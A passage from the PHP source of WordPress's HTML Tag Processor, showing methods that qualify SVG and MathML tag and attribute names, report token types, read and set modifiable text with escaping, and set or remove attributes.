		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
